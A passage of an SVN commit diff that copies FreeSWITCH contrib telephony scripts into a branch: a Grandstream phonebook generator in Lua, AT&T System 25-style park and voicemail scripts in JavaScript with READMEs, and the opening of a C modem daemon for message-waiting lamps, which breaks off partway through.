Copied: freeswitch/branches/seven/contrib/jwehle/gs_phonebook (from rev 14471, freeswitch/trunk/contrib/jwehle/gs_phonebook)

Deleted: freeswitch/branches/seven/contrib/jwehle/gs_phonebook/README

Copied: freeswitch/branches/seven/contrib/jwehle/gs_phonebook/README (from rev 14471, freeswitch/trunk/contrib/jwehle/gs_phonebook/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/jwehle/gs_phonebook/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jwehle/gs_phonebook/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+This directory contains software for outputting a phonebook
+suitable for download to a Grandstream phone.  It is generated
+at startup and updated whenever a reloadxml occurs.
+
+gs_phonebook.lua goes into the FreeSWITCH scripts directory.
+
+Configuration fragments look something like:
+
+  conf/autoload_configs/lua.conf.xml
+
+    <param name="startup-script" value="gs_phonebook.lua"/>
+
+  Grandstream
+
+    Phonebook XML Download:      YES, TFTP
+    Phonebook XML Server Path:   <IP address of freeswitch server>
+    Phonebook Download Interval: <desired interval ... e.g. 240>
+
+and assumes that a tftp server has been configured.  Obviously
+other arrangements can be used (e.g. http).
+
+The script uses LuaXml which is available from:
+
+  http://www.viremo.de/LuaXML/
+
+typical installation has:
+
+  /usr/local/lib/lua/5.1/LuaXML_lib.so
+  /usr/local/share/lua/5.1/LuaXml.lua
+
+Tested using FreeSWITCH SVN 13988 running on FreeBSD 6.4.

Deleted: freeswitch/branches/seven/contrib/jwehle/gs_phonebook/gs_phonebook.lua

Copied: freeswitch/branches/seven/contrib/jwehle/gs_phonebook/gs_phonebook.lua (from rev 14471, freeswitch/trunk/contrib/jwehle/gs_phonebook/gs_phonebook.lua) (0 => 14472)


--- freeswitch/branches/seven/contrib/jwehle/gs_phonebook/gs_phonebook.lua	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jwehle/gs_phonebook/gs_phonebook.lua	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,132 @@
+--[[
+ *  File:    gs_phonebook.lua
+ *  Purpose: Generate a downloadable phonebook for Grandstream phones.
+ *  Machine:                      OS:
+ *  Author:  John Wehle           Date: June 25, 2009
+ ]]--
+
+--[[
+ *  Copyright (c)  2009  Feith Systems and Software, Inc.
+ *                      All Rights Reserved
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 
+ * * Neither the name of the original author; nor the names of any contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ * 
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ ]]--
+
+
+require('LuaXml')
+
+
+-- RE to control which extensions are published
+local extRE = "^10[0-9][0-9]$"
+
+local gs_phonebook = "/tftpboot/gs_phonebook.xml"
+local maxEntries = 100
+
+
+function generate_phonebook ()
+
+  local api = freeswitch.API ()
+
+  local domain = api:execute ("global_getvar", "domain")
+
+  local dir = api:execute ("xml_locate", "directory domain name " .. domain)
+  local tdir = xml.eval (dir)
+
+  local tuser = xml.find (xml.find (xml.find (tdir,
+                          "groups"), "group"), "users")
+
+  local i
+  local k1
+  local v1
+  local name
+  local fname
+  local lname
+  local number
+
+  local fd = io.open (gs_phonebook .. ".new", "w+")
+
+  io.output (fd)
+
+  io.write ("<?xml version=\"1.0\"?>\n<AddressBook>\n")
+
+  i = 0
+
+  for k1, v1 in pairs (tuser) do
+    if type (v1) == "table" and v1[xml.TAG] == "user" then
+      name = xml.find (v1, "variable", "name", "effective_caller_id_name")
+      number = xml.find (v1, "variable", "name", "effective_caller_id_number")
+      if name ~= nil and number ~= nil
+         and string.find (number["value"], extRE) ~= nil then
+
+        string.gsub (name["value"], "^[A-Za-z0-9]+",
+          function (w) fname = w end, 1)
+
+        string.gsub (name["value"], "[A-Za-z0-9]+$",
+          function (w) lname = w end, 1)
+
+        io.write ("  <Contact>\n")
+        io.write (string.format ("    <LastName>%s</LastName>\n", lname))
+        io.write (string.format ("    <FirstName>%s</FirstName>\n", fname))
+        io.write ("    <Phone>\n")
+        io.write (string.format ("      <phonenumber>%s</phonenumber>\n",
+                                 number["value"]))
+        io.write ("      <accountindex>0</accountindex>\n")
+        io.write ("    </Phone>\n")
+        io.write ("  </Contact>\n")
+
+        i = i + 1
+
+        if i >= maxEntries then
+          break
+        end
+      end
+    end
+  end
+
+  io.write ("</AddressBook>\n")
+
+  io.close (fd)
+
+  os.execute ("/bin/chmod 444 " .. gs_phonebook .. ".new")
+
+  os.rename (gs_phonebook .. ".new", gs_phonebook)
+end
+
+
+-- Refresh the phonebook on startup
+generate_phonebook ()
+
+-- and whenever the configuration changes
+local con = freeswitch.EventConsumer ("reloadxml")
+
+while con:pop(1) do
+  generate_phonebook ()
+end
+
+return

Copied: freeswitch/branches/seven/contrib/jwehle/system25 (from rev 14471, freeswitch/trunk/contrib/jwehle/system25)

Copied: freeswitch/branches/seven/contrib/jwehle/system25/park (from rev 14471, freeswitch/trunk/contrib/jwehle/system25/park)

Deleted: freeswitch/branches/seven/contrib/jwehle/system25/park/README

Copied: freeswitch/branches/seven/contrib/jwehle/system25/park/README (from rev 14471, freeswitch/trunk/contrib/jwehle/system25/park/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/jwehle/system25/park/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jwehle/system25/park/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,72 @@
+This directory contains software for configuring FreeSWITCH
+to provide AT&T (aka Lucent aka Avaya) System 25 PBX compatible
+park and pickup park functions.  Specifically:
+
+  a) Putting a call on hold and then dialing *5 will park the
+     call on your phone.
+
+  b) Dialing *8 followed by an extension will pickup a call parked
+     on that extension.
+
+as a bonus:
+
+  c) Doing a blind transfer of a call to *5 will park the call
+     on your phone.
+
+  d) Doing a blind transfer of a call to *5 followed by an extension
+     will park the call on that extension.
+
+  e) Dialing *8 without an extension will prompt for an extension.
+
+s25park.js goes into the FreeSWITCH scripts directory.
+
+Configuration fragments look something like:
+
+  conf/dialplan/default.xml
+
+    <extension name="system25_park">
+      <condition field="source" expression="mod_sofia"/>
+      <condition field="destination_number" expression="^\*5$"/>
+      <condition field="${sip_h_Referred-By}" expression="^<sip:([0-9]{4})@.*$">
+        <action application="transfer" data="*5$1"/>
+        <anti-action application="javascript" data="s25park.js"/>
+      </condition>
+    </extension>
+
+    <extension name="system25_park_on_extension">
+      <condition field="destination_number" expression="^\*5([0-9]{4})$">
+        <action application="set" data="fifo_music=$${hold_music}"/>
+        <action application="set" data="fifo_orbit_exten=$1:120"/>
+        <action application="fifo" data="$1@$${domain} in"/>
+      </condition>
+    </extension>
+
+    <extension name="system25_pickup">
+      <condition field="destination_number" expression="^\*8$">
+        <action application="answer"/>
+        <action application="sleep" data="1"/>
+        <action application="read" data="3 5 $${base_dir}/sounds/en/us/callie/ivr/8000/ivr-enter_ext.wav ext 1000 #"/>
+        <action application="transfer" data="*8${ext}"/>
+      </condition>
+    </extension>
+
+    <extension name="system25_pickup_from_extension">
+      <condition field="destination_number" expression="^\*8[0-9]{3,4}$"/>
+      <condition field="destination_number" expression="^\*8([0-9]{4})$">
+        <action application="fifo" data="$1@$${domain} out nowait"/>
+        <anti-action application="bridge" data="openzap/5/a/${destination_number}"/>
+      </condition>
+    </extension>
+
+The system25 park and pickup dialplan patterns are designed
+to only consider four digit extensions for local parking.
+"system25_pickup_from_extension" recognizes three digit
+extensions as being parked on a foreign PBX ... modify
+as appropriate for your installation.
+
+Be aware that the default dialplan contains an extension
+called "group-intercept" which needs to be commented out
+in order for "system25_pickup" to work since they both
+match *8.
+
+Tested using FreeSWITCH SVN 13769 running on FreeBSD 6.4.

Deleted: freeswitch/branches/seven/contrib/jwehle/system25/park/s25park.js

Copied: freeswitch/branches/seven/contrib/jwehle/system25/park/s25park.js (from rev 14471, freeswitch/trunk/contrib/jwehle/system25/park/s25park.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/jwehle/system25/park/s25park.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jwehle/system25/park/s25park.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,178 @@
+/*
+ *  File:    s25park.js
+ *  Purpose: Implement AT&T System 25 PBX style parking.
+ *  Machine:                      OS:
+ *  Author:  John Wehle           Date: June 9, 2009
+ */
+
+/*
+ *  Copyright (c)  2009  Feith Systems and Software, Inc.
+ *                      All Rights Reserved
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 
+ * * Neither the name of the original author; nor the names of any contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ * 
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+
+/* RE to sanity check that the caller id is a valid extension */
+var extRE = /^[0-9]{3,4}$/g;
+
+
+var dtmf_digits;
+
+function on_dtmf (session, type, obj, arg)
+  {
+
+  if (type == "dtmf") {
+    dtmf_digits += obj.digit;
+    return false;
+    }
+
+  return true;
+  }
+
+
+function normalize_channel_name (name, direction, ip_addr)
+  {
+  var re = /^sofia\//g;
+  var length = name.search (re);
+  var new_name = name;
+  
+  if (length == -1)
+    return new_name;
+
+  if (direction == "inbound") {
+    re = /@.*$/g;
+
+    new_name = name.replace (re, "@" + ip_addr);
+    }
+  else if (direction == "outbound") {
+    re = /\/sip:(.*@[^:]*):.*$/g;
+
+    new_name = name.replace (re, "/$1");
+    }
+
+  return new_name;
+  }
+
+
+session.answer ();
+
+session.execute ("sleep", "1000");
+
+/*
+ * Figure out the normalized form of the requester's channel name.
+ */
+
+var requester_channel_name = normalize_channel_name (
+  session.getVariable ("channel_name"), "inbound",
+  session.getVariable ("network_addr"));
+
+/*
+ * Find the uuid for a call on the requester's phone.
+ */
+
+var channels = apiExecute ("show", "channels as xml");
+var re = /\s+$/g;
+var length = channels.search (re);
+
+if (length == -1)
+  length = channels.length;
+
+channels = channels.substring (0, length);
+
+var xchannels = new XML (channels);
+var our_uuid = session.getVariable ("uuid");
+var requester_uuid = "";
+
+for each (var channel in xchannels.row) {
+  if (channel.uuid.toString () == our_uuid)
+    continue;
+
+  var channel_name =  normalize_channel_name (channel.name.toString (),
+             channel.direction.toString (), channel.ip_addr.toString ());
+
+  if (channel_name == requester_channel_name) {
+    requester_uuid = channel.uuid.toString ();
+    break;
+    }
+  }
+
+if (requester_uuid == "") {
+  session.sayPhrase ("voicemail_invalid_extension", "#", "", on_dtmf, "");
+  session.hangup ();
+  exit ();
+  }
+
+/*
+ * Find the peer uuid.
+ */
+
+var udump = apiExecute ("uuid_dump", requester_uuid + " xml");
+var re = /\s+$/g;
+var length = udump.search (re);
+
+if (length == -1)
+  length = udump.length;
+
+udump = udump.substring (0, length);
+
+var xudump = new XML (udump);
+var uuid = xudump.headers['Other-Leg-Unique-ID'].toString ();
+
+if (uuid == "") {
+  session.sayPhrase ("voicemail_invalid_extension", "#", "", on_dtmf, "");
+  session.hangup ();
+  exit ();
+  }
+
+var requester_id_number = session.getVariable ("caller_id_number");
+
+if (requester_id_number.search (extRE) == -1) {
+  session.sayPhrase ("voicemail_invalid_extension", "#", "", on_dtmf, "");
+  session.hangup ();
+  exit ();
+  }
+
+apiExecute ("uuid_setvar", uuid + " hangup_after_bridge false");
+apiExecute ("uuid_transfer", uuid + " *5" + requester_id_number + " XML default");
+
+/*
+ * Provide confirmation beeps followed by some silence.
+ */
+
+var confirmation = "tone_stream://L=3;%(100,100,350,440)";
+
+session.execute ("playback", confirmation);
+
+var i;
+
+for (i = 0; session.ready () && i < 100; i++)
+  session.execute("sleep", "100");
+
+exit ();

Copied: freeswitch/branches/seven/contrib/jwehle/system25/vmail (from rev 14471, freeswitch/trunk/contrib/jwehle/system25/vmail)

Deleted: freeswitch/branches/seven/contrib/jwehle/system25/vmail/README

Copied: freeswitch/branches/seven/contrib/jwehle/system25/vmail/README (from rev 14471, freeswitch/trunk/contrib/jwehle/system25/vmail/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/jwehle/system25/vmail/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jwehle/system25/vmail/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+This directory contains software used for interfacing the
+FreeSWITCH voicemail application with the AT&T (aka Lucent
+aka Avaya) System 25 PBX.  It's possible that System 75
+and Definity PBXs may also work.
+
+s25vmail.js goes into the FreeSWITCH scripts directory.
+s25vmail_mwi.c should be compiled and the resulting binary
+put into the FreeSWITCH bin directory.  Modify the FreeSWITCH
+rc.d script to also start / stop s25vmail_mwi.
+
+Configuration fragments look something like:
+
+  conf/openzap.conf:
+
+    [span zt]
+    ; A204DX
+    name => OpenZAP
+    dtmf_hangup = ##99
+
+    number => 551
+    fxo-channel => 49
+
+    number => 552
+    fxo-channel => 50
+
+    number => 553
+    fxo-channel => 51
+
+    number => 554
+    fxo-channel => 52
+
+  conf/dialplan/default.xml
+
+    <extension name="system25_vmail">
+      <condition field="destination_number" expression="^(55[1-4])$">
+        <action application="javascript" data="s25vmail.js"/>
+      </condition>
+    </extension>
+
+Tested using FreeSWITCH SVN 10428 running on FreeBSD 6.3
+with a Sangoma A200DX Analog Series w/ Echo Cancellation
+ports card containing 2 FXO modules.
+
+Note that the PBX is * very * sensitive to how long it takes
+for the line to be hung up after it sends the DTMF hangup
+command.  Failure to apply the following patch will cause
+the PBX to occasionally believe that some vmail lines were
+off hook for too long and are therfore out of service.
+
+Index: src/zap_io.c
+===================================================================
+--- src/zap_io.c	(revision 745)
++++ src/zap_io.c	(working copy)
+@@ -1728,7 +1728,8 @@
+ 			zchan->dtmf_hangup_buf[zchan->span->dtmf_hangup_len - 1] = *p;
+ 			if (!strcmp(zchan->dtmf_hangup_buf, zchan->span->dtmf_hangup)) {
+ 				zap_log(ZAP_LOG_DEBUG, "DTMF hangup detected.\n");
+-				zap_set_state_locked(zchan, ZAP_CHANNEL_STATE_HANGUP);
++				zchan->caller_data.hangup_cause = ZAP_CAUSE_NORMAL_CLEARING;
++				zap_set_state_locked(zchan, ZAP_CHANNEL_STATE_DOWN);
+ 				break;
+ 			}
+ 		}

Deleted: freeswitch/branches/seven/contrib/jwehle/system25/vmail/s25vmail.js

Copied: freeswitch/branches/seven/contrib/jwehle/system25/vmail/s25vmail.js (from rev 14471, freeswitch/trunk/contrib/jwehle/system25/vmail/s25vmail.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/jwehle/system25/vmail/s25vmail.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jwehle/system25/vmail/s25vmail.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,236 @@
+/*
+ *  File:    s25vmail.js
+ *  Purpose: Invoke voicemail based on AT&T System 25 PBX voicemail mode codes
+ *  Machine:                      OS:
+ *  Author:  John Wehle           Date: June 24, 2008
+ *
+ *  The message waiting indicator is handled by a separate program.
+ */
+
+/*
+ *  Copyright (c)  2008  Feith Systems and Software, Inc.
+ *                      All Rights Reserved
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 
+ * * Neither the name of the original author; nor the names of any contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ * 
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+
+var id_digits_required = 3;
+
+var digitTimeOut = 3000;
+var interDigitTimeOut = 1000;
+var absoluteTimeOut = 10000;
+
+
+var dtmf_digits = "";
+ 
+function on_dtmf (session, type, obj, arg)
+  {
+
+  if (type == "dtmf") {
+    dtmf_digits += obj.digit;
+    }
+
+  return true;
+  }
+
+
+function prompt_for_id ()
+  {
+  var dto;
+  var id;
+  var index;
+  var repeat;
+  
+  dtmf_digits = "";
+  id = "";
+  repeat = 0;
+
+  while (session.ready () && repeat < 3) {
+    session.flushDigits ();
+  
+    /* play phrase - if digit keyed while playing callback will catch them*/
+    session.sayPhrase ("voicemail_enter_id", "#", "", on_dtmf, "");
+
+    if (! session.ready ())
+      return "";
+
+    id = dtmf_digits;
+
+    if (id.indexOf ('#') == -1) {
+      dto = digitTimeOut;
+      if (dtmf_digits.length != 0)
+        dto = interDigitTimeOut;
+      dtmf_digits = session.getDigits (5, '#', dto,
+                                       interDigitTimeOut, absoluteTimeOut);
+      id += dtmf_digits;
+      id += '#';
+      }
+
+    /* a valid id must meet the minimum length requirements */
+    if ((index = id.indexOf ('#')) >= id_digits_required) {
+      id = id.substring (0,index);
+      break;
+      }
+
+    dtmf_digits = "";
+    id = "";
+    repeat++;
+    }
+
+  return id;
+  }
+
+
+var start = "";
+var mode = "";
+var from = "";
+var to = "";
+
+var domain = session.getVariable ("domain");
+
+session.answer ();
+
+start = session.getDigits (1, '', digitTimeOut,
+                           interDigitTimeOut, absoluteTimeOut);
+
+if (start != "#") {
+  var destination_number = session.getVariable ("destination_number");
+
+  console_log ("err", destination_number + " received an invalid VMAIL start code from PBX\n");
+  if (session.ready ())
+    session.sayPhrase ("voicemail_goodbye", "#", "", on_dtmf, "");
+  else
+    console_log ("err", "Possibly due to early hangup from PBX\n");
+  session.hangup ();
+  exit();
+  }
+
+mode = session.getDigits (5, '#', digitTimeOut,
+                          interDigitTimeOut, absoluteTimeOut);
+
+from = session.getDigits (5, '#', digitTimeOut,
+                          interDigitTimeOut, absoluteTimeOut);
+
+to = session.getDigits (5, '#', digitTimeOut,
+                        interDigitTimeOut, absoluteTimeOut);
+
+session.execute("sleep", "1000");
+
+// Verify that the proper parameters are present
+switch (mode) {
+
+  // Direct Inside Access
+  case "00":
+    if (isNaN (parseInt (from, 10))) {
+      console_log ("err", "Invalid VMAIL calling PDC from PBX\n");
+      break;
+      }
+
+    session.setVariable ("voicemail_authorized", "false");
+    session.execute ("voicemail", "check default " + domain + " " + from);
+    break;
+
+  // Direct Dial Access
+  case "01":
+    from = prompt_for_id ();
+
+    if (! session.ready ()) {
+      session.hangup ();
+      exit();
+      }
+
+    if (isNaN (parseInt (from, 10))) {
+      console_log ("err", "Invalid VMAIL mailbox from caller\n");
+      break;
+      }
+
+    session.setVariable ("voicemail_authorized", "false");
+    session.execute ("voicemail", "check default " + domain + " " + from);
+    break;
+
+  // Coverage - caller is inside
+  case "02":
+    if (isNaN (parseInt (from, 10)) || isNaN (parseInt (to, 10))) {
+      console_log ("err", "Invalid VMAIL calling or called PDC from PBX\n");
+      break;
+      }
+
+    session.setVariable ("effective_caller_id_name", "inside caller");
+    session.setVariable ("effective_caller_id_number", from);
+
+    session.execute ("voicemail", "default " + domain + " " + to);
+    break;
+
+  // Coverage - caller is dial
+  case "03":
+    if (isNaN (parseInt (to, 10))) {
+      console_log ("err", "Invalid VMAIL called PDC from PBX\n");
+      break;
+      }
+
+    session.setVariable ("effective_caller_id_name", "outside caller");
+    session.setVariable ("effective_caller_id_number", "Unknown");
+
+    session.execute ("voicemail", "default " + domain + " " + to);
+    break;
+
+  // Coverage - not yet defined
+  case "04":
+    break;
+
+  // Leave Word Calling
+  case "05":
+    if (isNaN (parseInt (from, 10)) || isNaN (parseInt (to, 10))) {
+      console_log ("err", "Invalid VMAIL calling or called PDC from PBX\n");
+      break;
+      }
+    break;
+
+  // Refresh MW lamps
+  case "06":
+    break;
+
+  // Voice Port failed to answer
+  case "08":
+    if (isNaN (parseInt (to, 10))) {
+      console_log ("err", "Invalid VMAIL PDC from PBX\n");
+      break;
+      }
+
+    console_log ("err", "PBX reports problem with VMAIL PDC " + to + "\n");
+    break;
+
+  // Unknown
+  default:
+    console_log ("err", "Invalid VMAIL mode code from PBX\n");
+    break;
+  }
+
+exit();

Deleted: freeswitch/branches/seven/contrib/jwehle/system25/vmail/s25vmail_mwi.c

Copied: freeswitch/branches/seven/contrib/jwehle/system25/vmail/s25vmail_mwi.c (from rev 14471, freeswitch/trunk/contrib/jwehle/system25/vmail/s25vmail_mwi.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/jwehle/system25/vmail/s25vmail_mwi.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jwehle/system25/vmail/s25vmail_mwi.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,983 @@
+/*
+ *  File:    s25vmail_mwi.c
+ *  Purpose: Send AT&T System 25 PBX MWI DTMF based on MWI events
+ *  Machine:                      OS:
+ *  Author:  John Wehle           Date: July 24, 2008
+ *
+ *  Tested using a Zyxel U90e configured using:
+ *
+ *    at OK at&f OK at&d3&y2q2 OK ats0=0s2=255s15.7=0s18=4s35.1=0 OK
+ *    ats38.3=1s42.3=1s42.6=1 OK atl0 OK at&w OK at&v
+ *
+ *  though just about any modem should work.  Preferred settings are
+ *
+ *    DTR OFF causes hangup and reset from profile 0
+ *    RTS / CTS flow control
+ *    allow abort during modem handshake
+ *    auto answer off
+ *    ring message off
+ */
+
+/*
+ *  Copyright (c)  2008  Feith Systems and Software, Inc.
+ *                      All Rights Reserved
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 
+ * * Neither the name of the original author; nor the names of any contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ * 
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+
+#include <ctype.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <memory.h>
+#include <stdarg.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <signal.h>
+#include <termios.h>
+
+#include <netdb.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <sys/socket.h>
+#include <sys/param.h>
+#include <unistd.h>
+
+
+#define LOGFILE                    "/var/log/s25vmail_mwi.log"
+
+
+static const char *MyName = "s25vmail_mwi";
+
+static int daimon = 0;
+static int error_msg_throttle = 0;
+static volatile int shutdown_server = 0;
+
+
+static void
+debugmsg (const char *fmt, ...)
+  {
+  char message[256];
+  va_list args;
+
+  if (daimon)
+    return;
+
+  va_start (args, fmt);
+  vsprintf (message, fmt, args);
+  va_end (args);
+
+  fprintf (stderr, "%s: %s", MyName, message);
+  if ( !strchr (message, '\n'))
+    fprintf (stderr, "\n");
+  fflush (stderr);
+  }
+
+
+static void
+errmsg (const char *fmt, ...)
+  {
+  char time_stamp[256];
+  struct tm *tmp;
+  time_t now;
+  va_list args;
+
+  if (! daimon) {
+    fprintf (stderr, "%s: ", MyName);
+
+    va_start (args, fmt);
+    vfprintf (stderr, fmt, args);
+    va_end (args);
+
+    if (! strchr (fmt, '\n'))
+      fputc ('\n', stderr);
+
+    fflush (stderr);
+    return;
+    }
+
+  if (error_msg_throttle)
+    return;
+
+  time (&now);
+
+  if ( !(tmp = localtime (&now)) ) {
+    fprintf (stderr, "%s: errmsg -- localtime failed.\n", MyName);
+    perror (MyName);
+    fflush (stderr);
+    return;
+    }
+
+  strftime (time_stamp, sizeof (time_stamp), "%b %d %H:%M:%S", tmp);
+  fprintf (stderr, "%s %s[%d]: ", time_stamp, MyName, (int)getpid ());
+
+  va_start (args, fmt);
+  vfprintf (stderr, fmt, args);
+  va_end (args);
+
+  if (! strchr (fmt, '\n'))
+    fputc ('\n', stderr);
+
+  fflush (stderr);
+  }
+
+
+static void
+catch_signal ()
+  {
+
+  shutdown_server = 1;
+  }
+
+
+static void
+daemonize()
+  {
+
+#ifdef SIGTSTP
+  (void)signal(SIGTSTP, SIG_IGN);
+#endif
+#ifdef SIGTTIN
+  (void)signal(SIGTTIN, SIG_IGN);
+#endif
+#ifdef SIGTTOU
+  (void)signal(SIGTTOU, SIG_IGN);
+#endif
+
+  switch (fork ()) {
+    case 0:
+      break;
+
+    case -1:
+      fprintf (stderr, "%s: daemonize -- fork failed.", MyName);
+      perror (MyName);
+      exit (1);
+    /* NOTREACHED */
+      break;
+
+    default:
+      exit (0);
+    /* NOTREACHED */
+      break;
+    }
+
+  setsid();
+
+  close (0);
+  close (1);
+  close (2);
+
+  (void)open ("/dev/null", O_RDWR);
+  (void)open ("/dev/null", O_RDWR);
+  (void)open (LOGFILE, O_WRONLY | O_APPEND | O_CREAT, 0644);
+
+  daimon = 1;
+  }
+
+
+static void
+install_signal_handlers ()
+  {
+  struct sigaction act;
+
+  memset (&act, '\0', sizeof (act));
+
+  act.sa_handler = catch_signal;
+  sigemptyset (&act.sa_mask);
+  act.sa_flags = 0;
+
+  if (signal (SIGHUP, SIG_IGN) != SIG_IGN)
+    sigaction (SIGHUP, &act, NULL);
